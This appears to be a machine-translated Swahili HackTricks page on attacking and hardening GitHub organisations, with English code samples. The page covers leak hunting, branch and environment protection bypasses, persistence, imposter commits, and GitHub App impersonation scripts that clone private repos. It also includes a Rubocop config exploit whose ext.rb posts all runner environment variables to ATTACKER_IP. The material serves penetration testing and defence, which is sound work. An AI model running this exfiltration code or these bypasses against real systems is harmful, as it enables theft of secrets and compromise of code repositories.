Github Security

Reading time: 18 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

What is Github

(Kutoka hapa) Kwa kiwango cha juu, GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao.

Basic Information

Basic Github Information

External Recon

Github repositories zinaweza kuwekwa kama za umma, binafsi na za ndani.

  • Binafsi inamaanisha kwamba tu watu wa shirika wataweza kuzifikia
  • Za ndani inamaanisha kwamba tu watu wa biashara (biashara inaweza kuwa na mashirika kadhaa) wataweza kuzifikia
  • Umma inamaanisha kwamba mtandao wote utaweza kuzifikia.

Ikiwa unajua mtumiaji, repo au shirika unalotaka kulenga unaweza kutumia github dorks kupata taarifa nyeti au kutafuta mvuuko wa taarifa nyeti katika kila repo.

Github Dorks

Github inaruhusu kutafuta kitu kwa kubainisha kama upeo mtumiaji, repo au shirika. Hivyo, kwa orodha ya nyuzi ambazo zitakuwa karibu na taarifa nyeti unaweza kwa urahisi kutafuta taarifa nyeti zinazoweza kuwa katika lengo lako.

Tools (kila chombo kina orodha yake ya dorks):

Github Leaks

Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuuko kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwenye zana hizo ambazo zitafanya kupakua kila repo na kutafuta taarifa nyeti ndani yao (hata kuangalia kina fulani cha commits).

Tools (kila chombo kina orodha yake ya regexes):

Angalia ukurasa huu: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

warning

Unapofanya utafutaji wa mvuuko katika repo na kuendesha kitu kama git log -p usisahau kunaweza kuwa na matawi mengine yenye commits nyingine yanayoshikilia siri!

External Forks

Inawezekana kudhoofisha repos kwa kutumia ombi la kuvuta. Ili kujua ikiwa repo ina udhaifu unahitaji kusoma sanaa za Github Actions yaml. Maelezo zaidi kuhusu hii hapa chini.

Github Leaks in deleted/internal forks

Hata kama zimefutwa au za ndani inaweza kuwa inawezekana kupata data nyeti kutoka kwa forks za github repositories. Angalia hapa:

Accessible Deleted Data in Github

Organization Hardening

Member Privileges

Kuna privileges za msingi ambazo zinaweza kutolewa kwa wanachama wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa https://github.com/organizations/<org_name>/settings/member_privileges au kutoka kwenye Organizations API.

  • Ruhusa za msingi: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Admin juu ya repos za shirika. Inapendekezwa kuwa Hakuna au Soma.
  • Kuvuta repo: Ikiwa si lazima, ni bora kutokuruhusu wanachama kuvuta repos za shirika.
  • Uundaji wa kurasa: Ikiwa si lazima, ni bora kutokuruhusu wanachama kuchapisha kurasa kutoka kwa repos za shirika. Ikiwa ni lazima unaweza kuruhusu kuunda kurasa za umma au binafsi.
  • Maombi ya ufikiaji wa ushirikiano: Kwa hili kuwezeshwa washirikiano wa nje wataweza kuomba ufikiaji wa GitHub au programu za OAuth kufikia shirika hili na rasilimali zake. Kwa kawaida inahitajika, lakini ikiwa si hivyo, ni bora kuizima.
  • Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo
  • Mabadiliko ya mwonekano wa repo: Ikiwa imewezeshwa, wanachama wenye ruhusa za admin kwa repo wataweza kubadilisha mwonekano wake. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa hutaki watu kufanya mambo ya umma, hakikisha hii ime zimwa.
  • Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo
  • Futio na uhamisho wa repo: Ikiwa imewezeshwa, wanachama wenye ruhusa za admin kwa repo wataweza kufuta au kuhamasisha repos za umma na binafsi.
  • Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo
  • Ruhusu wanachama kuunda timu: Ikiwa imewezeshwa, mwanachama yeyote wa shirika ataweza kuunda timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaweza kuunda timu mpya. Ni bora kuwa na hii imezimwa.
  • Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo
  • Mambo mengine yanaweza kuwekewa mipangilio katika ukurasa huu lakini yale yaliyotangulia ndiyo yanayohusiana zaidi na usalama.

Actions Settings

Mipangilio kadhaa inayohusiana na usalama inaweza kuwekwa kwa ajili ya hatua kutoka kwenye ukurasa https://github.com/organizations/<org_name>/settings/actions.

note

Kumbuka kwamba mipangilio hii yote inaweza pia kuwekwa kwenye kila repo kwa kujitegemea

  • Sera za hatua za Github: Inaruhusu kuashiria ni repos gani zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa kubainisha ni repos gani zinapaswa kuruhusiwa na si kuruhusu hatua zote kuendesha.
  • API-1, API-2
  • Kuvuta workflows za ombi la kuvuta kutoka kwa washirikiano wa nje: Inapendekezwa kuhitaji idhini kwa wote washirikiano wa nje.
  • Sijapata API yenye taarifa hii, shiriki ikiwa unayo
  • Kendesha workflows kutoka kwa ombi la kuvuta: Inashauriwa kutoendesha workflows kutoka kwa ombi la kuvuta kwani wasimamizi wa chanzo cha kuvuta watapewa uwezo wa kutumia tokens zenye ruhusa za kusoma kwenye repo ya chanzo.
  • Sijapata API yenye taarifa hii, shiriki ikiwa unayo
  • Ruhusa za workflow: Inashauriwa sana kutoa ruhusa za kusoma tu kwa repo. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazoendesha.
  • API

Integrations

Nnijulishe ikiwa unajua kiunganishi cha API kufikia taarifa hii!

  • Sera ya ufikiaji wa programu za wahusika wengine: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu tu zile zinazohitajika (baada ya kuzitathmini).
  • Programu za GitHub zilizowekwa: Inapendekezwa kuruhusu tu zile zinazohitajika (baada ya kuzitathmini).

Recon & Attacks abusing credentials

Kwa hali hii tutadhani kwamba umepata ufikiaji wa akaunti ya github.

With User Credentials

Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza kuingia tu na kuangalia ni majukumu gani ya biashara na shirika ulionayo, ikiwa wewe ni mwanachama wa kawaida, angalia ni ruhusa zipi wanachama wa kawaida wanazo, katika makundi gani ulipo, ni ruhusa zipi ulizonazo juu ya repos, na jinsi repos zinavyolindwa.

Kumbuka kwamba 2FA inaweza kutumika hivyo utaweza kufikia taarifa hii tu ikiwa unaweza pia kupita ukaguzi huo.

note

Kumbuka kwamba ikiwa utafanikiwa kuiba cookie ya user_session (sasa imewekwa na SameSite: Lax) unaweza kujifanya kuwa mtumiaji bila kuhitaji ruhusa au 2FA.

Angalia sehemu iliyo chini kuhusu kuondoa ulinzi wa matawi ikiwa itakuwa na manufaa.

With User SSH Key

Github inaruhusu watumiaji kuweka SSH keys ambazo zitatumika kama njia ya uthibitisho wa kupeleka msimbo kwa niaba yao (hakuna 2FA inatumika).

Kwa funguo hii unaweza kufanya mabadiliko katika repos ambapo mtumiaji ana baadhi ya ruhusa, hata hivyo huwezi kuitumia kufikia api ya github ili kuorodhesha mazingira. Hata hivyo, unaweza kupata kuorodhesha mipangilio ya ndani ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji:

bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list

Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia funguo za umma alizoweka katika akaunti yake kwenye https://github.com/<github_username>.keys, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika.

Funguo za SSH pia zinaweza kuwekwa katika hifadhi kama funguo za kutekeleza. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza kuanzisha miradi kutoka kwenye hifadhi. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani ~/.ssh/config itakupa taarifa kuhusu funguo inayohusiana.

Funguo za GPG

Kama ilivyoelezwa hapa wakati mwingine inahitajika kusaini commits au unaweza kugunduliwa.

Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa:

shell
gpg --list-secret-keys --keyid-format=long

Kwa Token ya Mtumiaji

Kwa utangulizi kuhusu Token za Mtumiaji angalia taarifa za msingi.

Token ya mtumiaji inaweza kutumika badala ya nenosiri kwa Git kupitia HTTPS, au inaweza kutumika kujiandikisha kwenye API kupitia Uthibitishaji wa Msingi. Kulingana na mamlaka iliyounganishwa nayo unaweza kuwa na uwezo wa kufanya vitendo tofauti.

Token ya Mtumiaji inaonekana kama hii: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Kwa Programu ya Oauth

Kwa utangulizi kuhusu Programu za Oauth za Github angalia taarifa za msingi.

Mshambuliaji anaweza kuunda Programu ya Oauth yenye uharibifu ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.

Hizi ni mipaka ambayo programu ya Oauth inaweza kuomba. Kila wakati inapaswa kuangalia mipaka inayohitajika kabla ya kuzikubali.

Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu kwa taarifa/repos/matendo yanayohusiana na shirika.

Kwa Programu ya Github

Kwa utangulizi kuhusu Programu za Github angalia taarifa za msingi.

Mshambuliaji anaweza kuunda Programu ya Github yenye uharibifu ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi.

Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu kwa taarifa/repos/matendo yanayohusiana na shirika.

Kuiga Programu ya GitHub kwa kutumia funguo yake ya faragha (JWT → token za ufikiaji wa usakinishaji)

Ikiwa unapata funguo ya faragha (PEM) ya Programu ya GitHub, unaweza kuiga kikamilifu programu hiyo katika usakinishaji wake wote:

  • Tengeneza JWT ya muda mfupi iliyosainiwa kwa funguo ya faragha
  • Piga simu kwa API ya REST ya Programu ya GitHub ili kuorodhesha usakinishaji
  • Tengeneza token za ufikiaji za kila usakinishaji na uzitumie kuorodhesha/kukloni/kusukuma kwenye hifadhi zilizotolewa kwa usakinishaji huo

Mahitaji:

  • Funguo ya faragha ya Programu ya GitHub (PEM)
  • Kitambulisho cha Programu ya GitHub (nambari). GitHub inahitaji iss kuwa Kitambulisho cha Programu

Tengeneza JWT (RS256):

python
#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Orodha ya usakinishaji kwa programu iliyothibitishwa:

bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Unda token ya ufikiaji wa usakinishaji (inayotumika ≤ dakika 10):

bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Tumia token kupata msimbo. Unaweza kunakili au kusukuma ukitumia fomu ya URL ya x‑access‑token:

bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Programmatic PoC ya kulenga shirika maalum na kuorodhesha repos za faragha (PyGithub + PyJWT):

python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Notes:

  • Token za usakinishaji zinapata ruhusa za kiwango cha hifadhi ya programu (kwa mfano, contents: write, pull_requests: write)
  • Token zinaisha muda katika ≤10 dakika, lakini token mpya zinaweza kutengenezwa bila kikomo mradi tu uhifadhi funguo binafsi
  • Unaweza pia kuhesabu usakinishaji kupitia REST API (GET /app/installations) ukitumia JWT

Kuathiri & Kutumia Github Action

Kuna mbinu kadhaa za kuathiri na kutumia Github Action, angalia hapa:

Abusing Github Actions

Kutumia Apps za GitHub za upande wa tatu zinazotumia zana za nje (Rubocop extension RCE)

Baadhi ya Apps za GitHub na huduma za ukaguzi wa PR zinaendesha linters/SAST za nje dhidi ya ombi za kuvuta zikitumika faili za usanidi zinazodhibitiwa na hifadhi. Ikiwa zana inayoungwa mkono inaruhusu upakiaji wa msimbo wa kidinari, PR inaweza kufikia RCE kwenye mkimbiaji wa huduma.

Mfano: Rubocop inasaidia upakiaji wa nyongeza kutoka kwa usanidi wake wa YAML. Ikiwa huduma inapitisha .rubocop.yml iliyotolewa na hifadhi, unaweza kutekeleza Ruby isiyo na mipaka kwa kuhitaji faili ya ndani.

  • Masharti ya kuchochea kwa kawaida yanajumuisha:
  • Zana imewezeshwa katika huduma
  • PR ina faili ambazo zana inazitambua (kwa Rubocop: .rb)
  • Hifadhi ina faili ya usanidi wa zana (Rubocop inatafuta .rubocop.yml popote)

Faili za kutumia katika PR:

.rubocop.yml

yaml
require:
- ./ext.rb

ext.rb (kuondoa muktadha wa mazingira ya mkimbiaji):

ruby
require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Pia jumuisha faili kubwa la dummy la Ruby (mfano, main.rb) ili linter ifanye kazi.

Athari zilizoshuhudiwa katika ulimwengu halisi:

  • Utekelezaji kamili wa msimbo kwenye mchakato wa uzalishaji ulioendesha linter
  • Uhamasishaji wa mazingira nyeti, ikiwa ni pamoja na funguo za kibinafsi za GitHub App zinazotumiwa na huduma, funguo za API, akreditif za DB, n.k.
  • Kwa funguo za kibinafsi za GitHub App zilizovuja unaweza kutengeneza alama za usakinishaji na kupata ufikiaji wa kusoma/kandika kwenye hifadhi zote zilizotolewa kwa programu hiyo (tazama sehemu iliyo juu kuhusu uigaji wa GitHub App)

Miongozo ya kuimarisha huduma zinazokimbia zana za nje:

  • Chukulia mipangilio ya zana zinazotolewa na hifadhi kama msimbo usioaminika
  • Tekeleza zana katika maeneo yaliyotengwa kwa karibu bila mazingira nyeti yaliyowekwa
  • Tumia akreditif za chini ya uwezo na kutengwa kwa mfumo wa faili, na kuzuia/kukataa mtandao wa nje kwa zana ambazo hazihitaji ufikiaji wa intaneti

Bypass ya Ulinzi wa Tawi

  • Hitaji idadi ya idhini: Ikiwa umevamia akaunti kadhaa unaweza kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya Github Action ndani ya hifadhi, ukitumia GITHUB_TOKEN unaweza kukubali PR yako na kupata idhini 1 kwa njia hii.
  • Kumbuka kwa hili na kwa kikomo cha Wamiliki wa Msimbo kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kukubali PR zake mwenyewe, lakini ikiwa una uwezo, unaweza kuitumia kukubali PR zako.
  • Futa idhini wakati mabadiliko mapya yanaposhughulikiwa: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, kusubiri hadi mtu akubali, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililolindwa.
  • Hitaji mapitio kutoka kwa Wamiliki wa Msimbo: Ikiwa hii imewezeshwa na wewe ni Mmiliki wa Msimbo, unaweza kufanya Github Action kuunda PR yako na kisha kuikubali mwenyewe.
  • Wakati faili ya CODEOWNER imewekwa vibaya Github haisemi chochote lakini haitatumia. Kwa hivyo, ikiwa imewekwa vibaya ulinzi wa Wamiliki wa Msimbo hauwezi kutumika.
  • Ruhusu wahusika waliotajwa kupita mahitaji ya ombi la kuvuta: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta.
  • Jumuisha wasimamizi: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa hifadhi, unaweza kupita ulinzi huu wa tawi.
  • PR Hijacking: Unaweza kuwa na uwezo wa kubadilisha PR ya mtu mwingine kwa kuongeza msimbo mbaya, ukikubali PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu.
  • Kuondoa Ulinzi wa Tawi: Ikiwa wewe ni msimamizi wa hifadhi unaweza kuzima ulinzi, kuunganisha PR yako na kuweka ulinzi tena.
  • Kupita ulinzi wa kusukuma: Ikiwa hifadhi inaruhusu watumiaji fulani tu kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kulinda matawi yote kwa kutaja wildcard *).
  • Ikiwa una ufikiaji wa kuandika kwenye hifadhi lakini hujapewa ruhusa ya kusukuma msimbo kwa sababu ya ulinzi wa tawi, bado unaweza kuunda tawi jipya na ndani yake kuunda github action inayozinduliwa wakati msimbo unaposukumwa. Kwa kuwa ulinzi wa tawi hautalinda tawi hadi liundwe, kusukuma kwa msimbo huu wa kwanza kwenye tawi litafanya github action ifanye kazi.

Kupita Ulinzi wa Mazingira

Kwa utangulizi kuhusu Github Environment angalia taarifa za msingi.

Ikiwa mazingira yanaweza kupatikana kutoka matawi yote, hayalindwi na unaweza kwa urahisi kufikia siri ndani ya mazingira. Kumbuka kwamba unaweza kupata hifadhi ambapo matawi yote yanalindwa (kwa kutaja majina yake au kwa kutumia *) katika hali hiyo, tafuta tawi ambapo unaweza kusukuma msimbo na unaweza kuhamasisha siri kwa kuunda github action mpya (au kubadilisha moja).

Kumbuka, kwamba unaweza kupata kesi ya mwisho ambapo matawi yote yanalindwa (kupitia wildcard *) imeelezwa nani anaweza kusukuma msimbo kwenye matawi (unaweza kueleza hiyo katika ulinzi wa tawi) na mtumiaji wako hajaidhinishwa. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa.

yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Kumbuka kwamba baada ya kuunda tawi, ulinzi wa tawi utaweza kutumika kwa tawi jipya na huwezi kubadilisha, lakini kwa wakati huo tayari utakuwa umepata siri.

Uendelevu

  • Tengeneza token ya mtumiaji
  • Nyakua token za github kutoka siri
  • Kuondoa matokeo ya workflow na matawi
  • Toa idhini zaidi kwa shirika lote
  • Unda webhooks za kuhamasisha taarifa
  • Karibisha washirikishi wa nje
  • Ondoa webhooks zinazotumiwa na SIEM
  • Unda/badilisha Github Action yenye backdoor
  • Pata Github Action iliyo hatarini kwa kuingilia amri kupitia mabadiliko ya thamani ya siri

Imposter Commits - Backdoor kupitia commits za repo

Katika Github inawezekana kuunda PR kwa repo kutoka kwa fork. Hata kama PR haikubaliwi, commit id ndani ya repo asilia itaundwa kwa toleo la fork la msimbo. Hivyo, mshambuliaji anaweza kuamua kutumia commit maalum kutoka kwa repo inayonekana kuwa halali ambayo haikuundwa na mmiliki wa repo.

Kama hii:

yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Kwa maelezo zaidi angalia https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks